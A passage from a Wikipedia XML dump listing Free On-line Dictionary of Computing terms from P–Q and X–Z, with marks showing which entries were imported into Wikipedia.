phone mail&lt;br&gt;
Phonetastic&lt;br&gt;
Phong shading&lt;br&gt;
phosphor fatigue&lt;br&gt;
photo CD&lt;br&gt;
Photoshop&lt;br&gt;
PHP&lt;br&gt;
[[phreaking]] '''DONE'''&lt;br&gt;
physical address&lt;br&gt;
physical addressing&lt;br&gt;
physical layer&lt;br&gt;
physical memory&lt;br&gt;
physical memory address&lt;br&gt;
Physics Analysis Workbench&lt;br&gt;
PI&lt;br&gt;
PIC&lt;br&gt;
pi-calculus&lt;br&gt;
Pick BASIC&lt;br&gt;
PICL&lt;br&gt;
pico-&lt;br&gt;
picosecond&lt;br&gt;
PICS&lt;br&gt;
PICT&lt;br&gt;
PicTeX&lt;br&gt;
Pictorial Janus&lt;br&gt;
picture&lt;br&gt;
picture element&lt;br&gt;
Picture Quality Scale&lt;br&gt;
PID&lt;br&gt;
pidgen+&lt;br&gt;
PIE&lt;br&gt;
pif&lt;br&gt;
piggybacking&lt;br&gt;
pig, run like a&lt;br&gt;
PIGUI&lt;br&gt;
PIL&lt;br&gt;
PILE&lt;br&gt;
PIL/I&lt;br&gt;
PILOT&lt;br&gt;
pilot error&lt;br&gt;
Pilot European Image Processing Archive&lt;br&gt;
PIM&lt;br&gt;
PIN&lt;br&gt;
PINBOL&lt;br&gt;
pine&lt;br&gt;
pin feed&lt;br&gt;
ping&lt;br&gt;
ping-flood&lt;br&gt;
pinging&lt;br&gt;
ping-pong&lt;br&gt;
Pin Grid Array&lt;br&gt;
Pink-Shirt Book&lt;br&gt;
pin-out&lt;br&gt;
PIP&lt;br&gt;
pipe&lt;br&gt;
pipeline&lt;br&gt;
pipeline break&lt;br&gt;
Pipeline Burst Cache&lt;br&gt;
pipelined&lt;br&gt;
Pipelined Burst Cache&lt;br&gt;
pipeline stall&lt;br&gt;
pipelining&lt;br&gt;
PIPEX Ltd.&lt;br&gt;
piracy&lt;br&gt;
pirate&lt;br&gt;
PIRL&lt;br&gt;
pistol&lt;br&gt;
PIT&lt;br&gt;
pixel&lt;br&gt;
pixmap&lt;br&gt;
pizza box&lt;br&gt;
PJPEG&lt;br&gt;
pk&lt;br&gt;
PKE&lt;br&gt;
PKI&lt;br&gt;
PKLITE&lt;br&gt;
PKUNZIP&lt;br&gt;
PKWARE, Inc.&lt;br&gt;
PKZIP&lt;br&gt;
pl&lt;br&gt;
PL1&lt;br&gt;
PL/1&lt;br&gt;
PL-11&lt;br&gt;
PL360&lt;br&gt;
PL516&lt;br&gt;
PL-6&lt;br&gt;
PL.8&lt;br&gt;
Pla&lt;br&gt;
PLACE&lt;br&gt;
PLAGO&lt;br&gt;
plaid screen&lt;br&gt;
PLAIN&lt;br&gt;
plain ASCII&lt;br&gt;
Plain Old Documentation&lt;br&gt;
Plain Old Telephone Service&lt;br&gt;
Plain Old Telephone System&lt;br&gt;
plain TeX&lt;br&gt;
plaintext&lt;br&gt;
PLAN&lt;br&gt;
.plan&lt;br&gt;
Plan 9&lt;br&gt;
Planet&lt;br&gt;
plan file&lt;br&gt;
PLANIT&lt;br&gt;
Plankalkül&lt;br&gt;
PLANNER&lt;br&gt;
Planner-73&lt;br&gt;
PLANS&lt;br&gt;
plants&lt;br&gt;
PLASMA&lt;br&gt;
Plastic Pin Grid Array&lt;br&gt;
platform&lt;br&gt;
Platform for Internet Content Selection&lt;br&gt;
Platform Independent Graphical User Interface&lt;br&gt;
platinum-iridium&lt;br&gt;
Platon&lt;br&gt;
PLAY&lt;br&gt;
play by electronic mail&lt;br&gt;
Playground&lt;br&gt;
Play, Inc.&lt;br&gt;
playpen&lt;br&gt;
Playstation&lt;br&gt;
playte&lt;br&gt;
PLC&lt;br&gt;
PL/C&lt;br&gt;
PL Cornell&lt;br&gt;
PLD&lt;br&gt;
[[plenum cable]]&lt;br&gt;
pleonasm&lt;br&gt;
plesiochronous&lt;br&gt;
Plesiochronous Digital Hierarchy&lt;br&gt;
Pleuk grammar development system&lt;br&gt;
Plexus&lt;br&gt;
PL/I&lt;br&gt;
PL/I-FORMAC&lt;br&gt;
pling&lt;br&gt;
plingnet&lt;br&gt;
PLisp&lt;br&gt;
PL/I SUBSET&lt;br&gt;
PL/I Subset G&lt;br&gt;
PLITS&lt;br&gt;
PLL&lt;br&gt;
PL/M '''DONE'''&lt;br&gt;
PLMK&lt;br&gt;
plokta&lt;br&gt;
plonk&lt;br&gt;
plotter&lt;br&gt;
PL/P&lt;br&gt;
PL/PROPHET&lt;br&gt;
PL/S&lt;br&gt;
PL/Seq&lt;br&gt;
PL/SQL&lt;br&gt;
PLTL&lt;br&gt;
plug and play&lt;br&gt;
plug and pray&lt;br&gt;
Pluggable Authentication Module&lt;br&gt;
plugh&lt;br&gt;
plug-in&lt;br&gt;
PLUM&lt;br&gt;
Plumber&lt;br&gt;
plumbing&lt;br&gt;
Plural [[EuLisp]]&lt;br&gt;
PLUS&lt;br&gt;
plus&lt;br&gt;
PLUSS&lt;br&gt;
ply&lt;br&gt;
PM&lt;br&gt;
pm&lt;br&gt;
pm2&lt;br&gt;
P-mail&lt;br&gt;
PMBX&lt;br&gt;
PMC&lt;br&gt;
PML&lt;br&gt;
pn&lt;br&gt;
pnambic&lt;br&gt;
PNG&lt;br&gt;
PNP&lt;br&gt;
PNU-Prolog&lt;br&gt;
PoB&lt;br&gt;
POC&lt;br&gt;
POCAL&lt;br&gt;
pocket calculator&lt;br&gt;
pocket computer&lt;br&gt;
pod&lt;br&gt;
P.O.D.&lt;br&gt;
POE&lt;br&gt;
POFAC&lt;br&gt;
POGO&lt;br&gt;
point&lt;br&gt;
point-and-drool interface&lt;br&gt;
point-and-grunt interface&lt;br&gt;
pointed domain&lt;br&gt;
pointer&lt;br&gt;
pointer swizzling&lt;br&gt;
pointing device&lt;br&gt;
Point Of Contact&lt;br&gt;
point of presence&lt;br&gt;
point of sale terminal&lt;br&gt;
Point-to-Point Protocol&lt;br&gt;
Point-to-Point Tunneling Protocol&lt;br&gt;
Poisson distributions&lt;br&gt;
poke&lt;br&gt;
Polka&lt;br&gt;
poll&lt;br&gt;
polling&lt;br&gt;
Poly&lt;br&gt;
polygon pusher&lt;br&gt;
POLYGOTH&lt;br&gt;
polylithism&lt;br&gt;
Poly/ML&lt;br&gt;
polymorphic&lt;br&gt;
polymorphic lambda-calculus&lt;br&gt;
polymorphism&lt;br&gt;
polynomial&lt;br&gt;
polynomial-time&lt;br&gt;
polynomial-time algorithm&lt;br&gt;
polyvinyl chloride&lt;br&gt;
POM&lt;br&gt;
Ponder&lt;br&gt;
Pong&lt;br&gt;
POOL&lt;br&gt;
POOL2&lt;br&gt;
POOL-I&lt;br&gt;
POOL-T&lt;br&gt;
POP&lt;br&gt;
PoP&lt;br&gt;
pop&lt;br&gt;
POP++&lt;br&gt;
POP-1&lt;br&gt;
POP-10&lt;br&gt;
Pop-11&lt;br&gt;
POP-2&lt;br&gt;
POP3&lt;br&gt;
POP-9X&lt;br&gt;
POPART&lt;br&gt;
POPCORN&lt;br&gt;
pop-down menu&lt;br&gt;
POPJ&lt;br&gt;
Poplar&lt;br&gt;
POPLER&lt;br&gt;
POPLOG&lt;br&gt;
POPLOG ML&lt;br&gt;
POP server&lt;br&gt;
PopTalk&lt;br&gt;
porno&lt;br&gt;
pornography&lt;br&gt;
port&lt;br&gt;
portability&lt;br&gt;
portable&lt;br&gt;
Portable AIRTIME&lt;br&gt;
Portable Commodore 64&lt;br&gt;
Portable Common Loops&lt;br&gt;
Portable Common Tool Environment&lt;br&gt;
Portable Document Format&lt;br&gt;
Portable Forth Environment&lt;br&gt;
Portable Network Graphics&lt;br&gt;
Portable Operating System Interface&lt;br&gt;
Portable Pixmap&lt;br&gt;
Portable Scheme Debugger&lt;br&gt;
Portable Scheme Interpreter&lt;br&gt;
Portable Standard Lisp&lt;br&gt;
Portable Tool Interface&lt;br&gt;
Port Address Translation&lt;br&gt;
PORTAL&lt;br&gt;
portal&lt;br&gt;
porting&lt;br&gt;
Port Language&lt;br&gt;
portmapper&lt;br&gt;
port number&lt;br&gt;
POS&lt;br&gt;
POSE&lt;br&gt;
poset&lt;br&gt;
POSIX&lt;br&gt;
POST&lt;br&gt;
post&lt;br&gt;
postcardware&lt;br&gt;
[[posted write-through]] '''DONE'''&lt;br&gt;
Postel, Jon&lt;br&gt;
postfix notation&lt;br&gt;
postfix syntax&lt;br&gt;
POSTGRES&lt;br&gt;
PostgreSQL&lt;br&gt;
posting&lt;br&gt;
postmaster&lt;br&gt;
post office problem&lt;br&gt;
Post Office Protocol&lt;br&gt;
post-order traversal&lt;br&gt;
POSTQUEL&lt;br&gt;
[[PostScript]] '''DONE'''&lt;br&gt;
Post, Telephone and Telegraph administration&lt;br&gt;
POSYBL&lt;br&gt;
potential difference&lt;br&gt;
POTS&lt;br&gt;
pound&lt;br&gt;
pound on&lt;br&gt;
pound sign&lt;br&gt;
POWER&lt;br&gt;
PowerBuilder&lt;br&gt;
power cycle&lt;br&gt;
powerdomain&lt;br&gt;
PowerFuL&lt;br&gt;
power hit&lt;br&gt;
PowerMac&lt;br&gt;
Power Macintosh&lt;br&gt;
power-on self-test&lt;br&gt;
PowerOpen&lt;br&gt;
PowerOpen Association&lt;br&gt;
PowerOpen Environment&lt;br&gt;
PowerPC&lt;br&gt;
PowerPC 601&lt;br&gt;
PowerPC G3&lt;br&gt;
PowerPC Platform&lt;br&gt;
PowerPC Reference Platform&lt;br&gt;
Powerpoint&lt;br&gt;
power save mode&lt;br&gt;
powerset&lt;br&gt;
Powersoft Corporation&lt;br&gt;
PP96&lt;br&gt;
PPC&lt;br&gt;
PPCP&lt;br&gt;
PPD&lt;br&gt;
PPGA&lt;br&gt;
PPL&lt;br&gt;
PPLambda&lt;br&gt;
PPM&lt;br&gt;
PPN&lt;br&gt;
PPP&lt;br&gt;
P-Prolog&lt;br&gt;
PPTP&lt;br&gt;
PQS&lt;br&gt;
PR&lt;br&gt;
pr&lt;br&gt;
pr0n&lt;br&gt;
PRA&lt;br&gt;
pragma&lt;br&gt;
PRAM&lt;br&gt;
Praxis Critical Systems&lt;br&gt;
pre ox&lt;br&gt;
PRE-CC&lt;br&gt;
PRECCX&lt;br&gt;
precedence lossage&lt;br&gt;
precharge&lt;br&gt;
precision&lt;br&gt;
predecessor&lt;br&gt;
predicate calculus&lt;br&gt;
predomain&lt;br&gt;
pre-emptive multitasking&lt;br&gt;
prefetch&lt;br&gt;
prefix '''DONE'''&lt;br&gt;
prefix notation&lt;br&gt;
prefix syntax&lt;br&gt;
pre-order&lt;br&gt;
pre-order traversal&lt;br&gt;
PREP&lt;br&gt;
prepaging&lt;br&gt;
prepend&lt;br&gt;
preprocessor&lt;br&gt;
presence detect&lt;br&gt;
presentation layer&lt;br&gt;
Presentation Manager&lt;br&gt;
prestidigitization&lt;br&gt;
PRESTO&lt;br&gt;
Pretty Amazing New Stuff&lt;br&gt;
Pretty Good Privacy&lt;br&gt;
pretty pictures&lt;br&gt;
prettyprint&lt;br&gt;
pretzel key&lt;br&gt;
preventive maintenance&lt;br&gt;
PRI&lt;br&gt;
primary cache&lt;br&gt;
primary key&lt;br&gt;
primary management domain&lt;br&gt;
Primary Rate Interface&lt;br&gt;
Prime Computer&lt;br&gt;
Primenet, Inc.&lt;br&gt;
prime number theorem&lt;br&gt;
prime time&lt;br&gt;
primitive&lt;br&gt;
Princeton University&lt;br&gt;
principal type&lt;br&gt;
PRINT&lt;br&gt;
printed circuit board&lt;br&gt;
printer&lt;br&gt;
Printer Access Protocol&lt;br&gt;
printer port&lt;br&gt;
printf&lt;br&gt;
PRINT I&lt;br&gt;
printing discussion&lt;br&gt;
print server&lt;br&gt;
Print Services Facility&lt;br&gt;
priority interrupt&lt;br&gt;
priority inversion&lt;br&gt;
priority queue&lt;br&gt;
priority scheduling&lt;br&gt;
PRISM&lt;br&gt;
Prisoner of Bill&lt;br&gt;
privacy&lt;br&gt;
Privacy Enhanced Mail&lt;br&gt;
Private Automatic Branch eXchange&lt;br&gt;
Private Branch Exchange&lt;br&gt;
Private Manual Branch eXchange&lt;br&gt;
privileged instruction&lt;br&gt;
PRL&lt;br&gt;
PRMD&lt;br&gt;
[[PRML]] '''DONE'''&lt;br&gt;
probabilistic&lt;br&gt;
probabilistic automaton&lt;br&gt;
Probe&lt;br&gt;
problem state&lt;br&gt;
PROC&lt;br&gt;
procedural language&lt;br&gt;
Procedural Language/SQL&lt;br&gt;
procedure&lt;br&gt;
process&lt;br&gt;
Process and Experiment Automation Real-Time Language&lt;br&gt;
Process Design Language 2&lt;br&gt;
process ID&lt;br&gt;
[[process identifier]] '''DONE'''&lt;br&gt;
processor&lt;br&gt;
Processor Direct Slot&lt;br&gt;
processor farm&lt;br&gt;
processor time&lt;br&gt;
process scheduling&lt;br&gt;
process table&lt;br&gt;
PROCOL&lt;br&gt;
Procomm&lt;br&gt;
Procrustean string&lt;br&gt;
Prodigy&lt;br&gt;
ProDoc&lt;br&gt;
product&lt;br&gt;
production system&lt;br&gt;
Professional Graphics Adapter&lt;br&gt;
Professional Office System&lt;br&gt;
professional programming&lt;br&gt;
PROFILE&lt;br&gt;
profile&lt;br&gt;
PROFS&lt;br&gt;
PROGENY&lt;br&gt;
proglet&lt;br&gt;
program&lt;br&gt;
Program Composition Notation&lt;br&gt;
program counter&lt;br&gt;
Program Design Language&lt;br&gt;
Program Evaluation and Review Technique&lt;br&gt;
Program Information File&lt;br&gt;
Programmable Airline Reservation System&lt;br&gt;
Programmable Array Logic&lt;br&gt;
Programmable Logic Controller&lt;br&gt;
Programmable Read-Only Memory&lt;br&gt;
Programmed Data Processor&lt;br&gt;
PROgrammed Graph REwriting Systems&lt;br&gt;
programmer&lt;br&gt;
Programmer Brain Damage&lt;br&gt;
Programmer's Cheer&lt;br&gt;
Programmers Hierarchical Interactive Graphics System&lt;br&gt;
PROgrammer's Microapplication Language&lt;br&gt;
Programmer's Switch&lt;br&gt;
programming&lt;br&gt;
programming fluid&lt;br&gt;
programming language&lt;br&gt;
Programming Language/Cornell&lt;br&gt;
Programming Language/Systems&lt;br&gt;
Program Temporary Fix&lt;br&gt;
program transformation&lt;br&gt;
[[Prograph]] '''DONE'''&lt;br&gt;
PROGRES&lt;br&gt;
progressive coding&lt;br&gt;
Progressive JPEG&lt;br&gt;
progressive/sequential coding&lt;br&gt;
PROJECT&lt;br&gt;
project assurance&lt;br&gt;
Project Athena&lt;br&gt;
Project Guardian&lt;br&gt;
projection&lt;br&gt;
projective plane&lt;br&gt;
Project MAC&lt;br&gt;
project management&lt;br&gt;
project planning&lt;br&gt;
Prolog&lt;br&gt;
Prolog++&lt;br&gt;
Prolog-2&lt;br&gt;
Prolog-D-Linda&lt;br&gt;
Prolog-II&lt;br&gt;
Prolog-III&lt;br&gt;
Prolog-Linda&lt;br&gt;
Prolog/Mali&lt;br&gt;
PROM&lt;br&gt;
PROMAL&lt;br&gt;
Prometheus&lt;br&gt;
promiscuous mode&lt;br&gt;
PROM monitor&lt;br&gt;
pron&lt;br&gt;
Pronet&lt;br&gt;
Pronunciation&lt;br&gt;
proof&lt;br&gt;
PROOF/L&lt;br&gt;
proof theory&lt;br&gt;
propeller head&lt;br&gt;
propeller key&lt;br&gt;
Proposal Writing&lt;br&gt;
propositional calculus&lt;br&gt;
proprietary&lt;br&gt;
PROSE&lt;br&gt;
ProSet&lt;br&gt;
PROSPER&lt;br&gt;
Prospero&lt;br&gt;
ProTalk&lt;br&gt;
protected mode&lt;br&gt;
PROTEUS&lt;br&gt;
protocal&lt;br&gt;
protocol&lt;br&gt;
protocol analyser&lt;br&gt;
protocol converter&lt;br&gt;
Protocol Data Unit&lt;br&gt;
protocol layer&lt;br&gt;
protocol stack&lt;br&gt;
PROTON&lt;br&gt;
Protosynthex&lt;br&gt;
Prototyper&lt;br&gt;
prototyping&lt;br&gt;
provably difficult&lt;br&gt;
provably unsolvable&lt;br&gt;
provider&lt;br&gt;
provocative maintenance&lt;br&gt;
prowler&lt;br&gt;
proxy ARP&lt;br&gt;
proxy gateway&lt;br&gt;
Proxy Server&lt;br&gt;
proxy server&lt;br&gt;
PS&lt;br&gt;
PS/2 '''DONE'''&lt;br&gt;
PS 440&lt;br&gt;
PSA&lt;br&gt;
PS-ALGOL&lt;br&gt;
pSather&lt;br&gt;
PSD&lt;br&gt;
PSDN&lt;br&gt;
pseudo&lt;br&gt;
Pseudocode&lt;br&gt;
pseudoprime&lt;br&gt;
pseudo-random number&lt;br&gt;
PseudoScheme&lt;br&gt;
pseudosuit&lt;br&gt;
pseudo-tty&lt;br&gt;
PSF&lt;br&gt;
PSI&lt;br&gt;
Psion Organiser&lt;br&gt;
PSK&lt;br&gt;
PSL&lt;br&gt;
PSL/PSA&lt;br&gt;
PSML&lt;br&gt;
PSN&lt;br&gt;
PSTN&lt;br&gt;
psychedelicware&lt;br&gt;
psyton&lt;br&gt;
pt&lt;br&gt;
P-TAC&lt;br&gt;
ptc&lt;br&gt;
PTF&lt;br&gt;
Pthreads&lt;br&gt;
PTI&lt;br&gt;
PTN&lt;br&gt;
Ptolemy&lt;br&gt;
PTT&lt;br&gt;
PUB&lt;br&gt;
public directory&lt;br&gt;
public domain&lt;br&gt;
public domain software&lt;br&gt;
public-key cryptography&lt;br&gt;
Public-Key Cryptography Standards&lt;br&gt;
public-key encryption&lt;br&gt;
Public Key Infrastructure&lt;br&gt;
Public Switched Telephone Network&lt;br&gt;
puff&lt;br&gt;
PUFFT&lt;br&gt;
pull&lt;br&gt;
pull-down list&lt;br&gt;
pull-down menu&lt;br&gt;
pull media&lt;br&gt;
Pulse Code Modulation&lt;br&gt;
pumpkin&lt;br&gt;
pumpkineer&lt;br&gt;
pumpking&lt;br&gt;
punch card&lt;br&gt;
punched card&lt;br&gt;
punt&lt;br&gt;
Purdue Compiler-Construction Tool Set&lt;br&gt;
Purdue University&lt;br&gt;
pure functional language&lt;br&gt;
pure lambda-calculus&lt;br&gt;
PureLink&lt;br&gt;
Pure Lisp&lt;br&gt;
purely functional language&lt;br&gt;
Purify&lt;br&gt;
Purple Book&lt;br&gt;
purple wire&lt;br&gt;
Purveyor&lt;br&gt;
push&lt;br&gt;
push-button&lt;br&gt;
Push Down List&lt;br&gt;
push media&lt;br&gt;
PVC&lt;br&gt;
[[PVM]]&lt;br&gt;
PV-WAVE&lt;br&gt;
pw&lt;br&gt;
py&lt;br&gt;
Python&lt;br&gt;
Q&lt;br&gt;
QA&lt;br&gt;
qa&lt;br&gt;
QA4&lt;br&gt;
QAM&lt;br&gt;
Qbasic&lt;br&gt;
QBE&lt;br&gt;
QCA&lt;br&gt;
qdjanus&lt;br&gt;
QDOS&lt;br&gt;
QEMM386&lt;br&gt;
QIC&lt;br&gt;
QL&lt;br&gt;
Qlambda&lt;br&gt;
QLISP&lt;br&gt;
QLOG&lt;br&gt;
QMW&lt;br&gt;
Q'NIAL&lt;br&gt;
[[QNX]] '''DONE'''&lt;br&gt;
QoS&lt;br&gt;
QPE&lt;br&gt;
QT-OBJECTS&lt;br&gt;
QTRADER&lt;br&gt;
quad&lt;br&gt;
Quadralay Corporation&lt;br&gt;
Quadrature Amplitude Modulation&lt;br&gt;
quadruple bucky&lt;br&gt;
quadruplex&lt;br&gt;
Quake&lt;br&gt;
Qualcomm&lt;br&gt;
quality&lt;br&gt;
quality assurance&lt;br&gt;
quality control&lt;br&gt;
quality of service&lt;br&gt;
Quality Systems &amp;amp&lt;br&gt; Software Ltd.&lt;br&gt;
quantifier&lt;br&gt;
Quantify&lt;br&gt;
quantum&lt;br&gt;
quantum bogodynamics&lt;br&gt;
quantum cell&lt;br&gt;
quantum cell wire&lt;br&gt;
quantum computer&lt;br&gt;
quantum computing&lt;br&gt;
quantum dot&lt;br&gt;
Quantum-dot Cellular Automata&lt;br&gt;
quarter&lt;br&gt;
Quarter Inch Cartridge&lt;br&gt;
Quay Financial Software&lt;br&gt;
QUEASY&lt;br&gt;
Queen Mary and Westfield College&lt;br&gt;
Queens Problem&lt;br&gt;
Queens Puzzle&lt;br&gt;
Queen's University&lt;br&gt;
QUEL&lt;br&gt;
query&lt;br&gt;
Query By Example&lt;br&gt;
query expansion&lt;br&gt;
ques&lt;br&gt;
Quest&lt;br&gt;
question mark&lt;br&gt;
queue&lt;br&gt;
QUICK&lt;br&gt;
quick-and-dirty&lt;br&gt;
QuickDraw&lt;br&gt;
Quicksilver&lt;br&gt;
Quicksort&lt;br&gt;
Quicktime&lt;br&gt;
quiesce&lt;br&gt;
quiesce time&lt;br&gt;
QUIKSCRIPT&lt;br&gt;
QUIKTRAN&lt;br&gt;
QUIN&lt;br&gt;
quine&lt;br&gt;
Quintec-Objects&lt;br&gt;
quintillion&lt;br&gt;
Quintus Prolog&lt;br&gt;
quote chapter and verse&lt;br&gt;
quotient&lt;br&gt;
Qu-Prolog&lt;br&gt;
Quty&lt;br&gt;
quux&lt;br&gt;
qux&lt;br&gt;
[[QWERTY]]&lt;br&gt;
QX&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/X - Z</title>
    <id>11335</id>
    <revision>
      <id>24243599</id>
      <timestamp>2005-09-28T16:46:58Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <comment>Fixing link</comment>
      <text xml:space="preserve">:''See also :'' [[Free On-line Dictionary of Computing]]
[[Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] -- [[Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- [[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- [[Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- [[Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- [[Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- [[Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- [[Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- '''X - Z''' -- [[Free_On-line_Dictionary_of_Computing/Status|FOLDOC Status Page]]

X  '''DONE'''&lt;br&gt;
X-1 '''NO IMPORT''' - insignificant&lt;br&gt; 
X11R4 '''NO IMPORT''' - insignificant&lt;br&gt;
X11R5 '''NO IMPORT''' - insignificant&lt;br&gt;
X11R6 '''NO IMPORT''' - insignificant&lt;br&gt;
[[Electronic Data Interchange|X.12]] '''NO IMPORT''' - insignificant&lt;br&gt;
X2 '''NO IMPORT''' - insignificant, out-dated.&lt;br&gt;
[[Abstract syntax notation one|X.208]] '''DONE'''&lt;br&gt;
[[Basic encoding rules|X.209]] '''DONE'''&lt;br&gt;
[[X.21]]&lt;br&gt;
[[Transport layer|X.214]] '''NO IMPORT''' - duplicate info.&lt;br&gt;
[[Session layer|X.215]] '''NO IMPORT''' - duplicate info.&lt;br&gt;
[[Presentation layer|X.216]] '''NO IMPORT''' - duplicate info.&lt;br&gt;
X.217&lt;br&gt;
X.219&lt;br&gt;
X.224&lt;br&gt;
X.225&lt;br&gt;
X.226&lt;br&gt;
X.227&lt;br&gt;
X.229&lt;br&gt;
[[X.25]] '''DONE'''&lt;br&gt;
X.28&lt;br&gt;
X.29&lt;br&gt;
X.3&lt;br&gt;
[[X3J16]]&lt;br&gt;
X3T10&lt;br&gt;
[[X.400]]&lt;br&gt;
X.409&lt;br&gt;
[[X.500]] '''DONE'''&lt;br&gt;
[[Abstract syntax notation one|X.680]] '''DONE'''&lt;br&gt;
X.75&lt;br&gt;
[[X86|x86]] '''DONE'''&lt;br&gt;
x86 processor socket '''NO IMPORT''' - duplicate info.&lt;br&gt;
XA&lt;br&gt;
Xaw&lt;br&gt;
[[XBase|Xbase]]&lt;br&gt;
xbeeb&lt;br&gt;
[[XBM|xbm]]&lt;br&gt;
XC&lt;br&gt;
X client&lt;br&gt;
X Consortium&lt;br&gt;
Xcoral&lt;br&gt;
xdbx&lt;br&gt;
X-Designer&lt;br&gt;
X.desktop&lt;br&gt;
XDL&lt;br&gt;
XDR&lt;br&gt;
XDS 940&lt;br&gt;
[[Digital Subscriber Line|xDSL]] '''DONE'''&lt;br&gt;
[[XEmacs|Xemacs]]&lt;br&gt;
[[Xenix|XENIX]]&lt;br&gt;
[[Xeon]]&lt;br&gt;
[[Xerox|XEROX Corporation]]  '''DONE'''&lt;br&gt;
Xerox Data Systems Model 940&lt;br&gt;
[[Xerox network services|XEROX Network Services]]  '''DONE'''&lt;br&gt; 
[[Xerox PARC|XEROX PARC]] '''DONE'''&lt;br&gt;
XFree86 Project, Inc. '''NO IMPORT''' - duplicate info&lt;br&gt;
Xfun&lt;br&gt;
[[XGA]] '''DONE'''&lt;br&gt;
[[XGA|XGA-2]] '''DONE'''&lt;br&gt;
[[XHTML]] '''DONE'''&lt;br&gt;
Xi&lt;br&gt;
XIE&lt;br&gt;
[[Xilinx|Xilinx, Inc.]]&lt;br&gt;
Xilinx Netlist Format&lt;br&gt;
X Image Extension&lt;br&gt;
[[Xlib]]&lt;br&gt;
[[XLISP|xlisp]]&lt;br&gt;
xls&lt;br&gt;
[[XML]] '''DONE'''&lt;br&gt;
XMM&lt;br&gt;
[[XMODEM]]&lt;br&gt;
[[XMODEM|XMODEM-1K]]&lt;br&gt;
xmosaic&lt;br&gt;
XMS&lt;br&gt;
XNF&lt;br&gt;
xnf2ver&lt;br&gt;
XNS '''DONE'''&lt;br&gt;
[[Transmit flow control|XOFF]]&lt;br&gt;
[[Transmit flow control|XON]]&lt;br&gt;
[[Transmit flow control|XON/XOFF]]&lt;br&gt;
[[X/Open|Xopen]]&lt;br&gt;
[[X/Open|X/Open]]&lt;br&gt;
X/open Portability Guide&lt;br&gt;
X/Open System Interface&lt;br&gt;
[[Exclusive disjunction|xor]]&lt;br&gt;
XPC&lt;br&gt;
XperCASE&lt;br&gt;
XPG&lt;br&gt;
XPG3&lt;br&gt;
[[XPL]]&lt;br&gt;
xpm&lt;br&gt;
XPOP&lt;br&gt;
X protocol&lt;br&gt;
xref&lt;br&gt;
XRemote&lt;br&gt;
XRN&lt;br&gt;
XSB&lt;br&gt;
XScheme&lt;br&gt;
x-scm&lt;br&gt;
[[X Window System|X server]]&lt;br&gt;
XSI&lt;br&gt;
[[Extensible Stylesheet Language|XSL]] '''DONE'''&lt;br&gt;
XT&lt;br&gt;
Xt&lt;br&gt;
XT bus architecture -- '''DONE'''&lt;br&gt;
[[Xterm|xterm]] '''DONE'''&lt;br&gt;
X terminal&lt;br&gt;
XTI&lt;br&gt;
XTP&lt;br&gt;
XTRAN&lt;br&gt;
XUI&lt;br&gt;
Xv++&lt;br&gt;
XVGA &lt;br&gt;
[[XView]] '''DONE'''&lt;br&gt;
XVT&lt;br&gt;
[[X Window System|X-Windows]] '''NO IMPORT'''&lt;br&gt;
[[X Window System]] '''DONE'''&lt;br&gt;
XWIP&lt;br&gt;
[[Xxgdb|xxgdb]]&lt;br&gt;
XXX&lt;br&gt;
Xy-pic&lt;br&gt;
[[Colossal Cave Adventure|xyzzy]] '''DONE'''&lt;br&gt;
Y&lt;br&gt;
[[Year 2000 problem|Y2K]] '''DONE'''&lt;br&gt;
YA-&lt;br&gt;
Yaa&lt;br&gt;
YABA&lt;br&gt;
[[Yacc|yacc]] '''DONE'''&lt;br&gt;
YADE&lt;br&gt;
YAFIYGI&lt;br&gt;
[[Yahoo!|Yahoo]] '''DONE'''&lt;br&gt;
[[Haskell programming language|Yale Haskell]]&lt;br&gt;
Yamaha&lt;br&gt;
yank&lt;br&gt;
YAPS&lt;br&gt;
YASOS&lt;br&gt;
YAUN&lt;br&gt;
Yay&lt;br&gt;
ye&lt;br&gt;
[[Year 2000 problem|Year 2000]] '''NO IMPORT'''&lt;br&gt;
Yellow&lt;br&gt;
Yellow Book&lt;br&gt;
[[Yellow Book (CD-ROM standards)|Yellow Book CD-ROM]]&lt;br&gt;
[[Jargon File|Yellow Book, Jargon]]&lt;br&gt;
[[Cocoa (API)|Yellow Box]]&lt;br&gt;
[[Yellow Pages (computing)|Yellow Pages]] '''DONE'''&lt;br&gt;
yellow wire&lt;br&gt;
Yerk&lt;br&gt;
[[Yet Another]] '''DONE'''&lt;br&gt;
[[Yacc|Yet Another Compiler Compiler]] '''DONE'''&lt;br&gt;
Yet Another Yacc&lt;br&gt;
YGMTPO&lt;br&gt;
YLISP&lt;br&gt;
[[Your mileage may vary|YMMV]]&lt;br&gt;
[[YMODEM]]&lt;br&gt;
[[YMODEM|YMODEM-G]]&lt;br&gt;
[[Yocto|yocto-]]&lt;br&gt;
[[Yotta|yotta-]]&lt;br&gt;
[[Yottabyte|yottabyte]] '''DONE'''&lt;br&gt;
You are not expected to understand this&lt;br&gt;
You know you've been hacking too long when... '''NO IMPORT''' - jargon&lt;br&gt;
Yourdon&lt;br&gt;
Yourdon/Constantine&lt;br&gt;
Yourdon/Demarco&lt;br&gt;
Yourdon, Inc.&lt;br&gt;
Yourdon methodology&lt;br&gt;
[[Your mileage may vary]]&lt;br&gt;
Yow!&lt;br&gt;
yoyo mode&lt;br&gt;
YP '''DONE'''&lt;br&gt;
[[YSM (ICQ)|YSM]]&lt;br&gt;
yt&lt;br&gt;
YTalk&lt;br&gt;
yu '''NO IMPORT''' - insubstantial&lt;br&gt;
Yu-Shiang Whole Fish '''NO IMPORT''' - jargon&lt;br&gt;
Z&lt;br&gt;
Z++&lt;br&gt;
[[Zilog Z180|Z180]]&lt;br&gt;
[[Z3]]&lt;br&gt;
[[Z39.50]]&lt;br&gt;
[[Zilog Z8|Z8]]&lt;br&gt;
[[Zilog Z80|Z80]] '''DONE'''&lt;br&gt;
[[Zilog Z8000|Z8000]]&lt;br&gt;
za&lt;br&gt;
ZAP&lt;br&gt;
zap&lt;br&gt;
ZAPP&lt;br&gt;
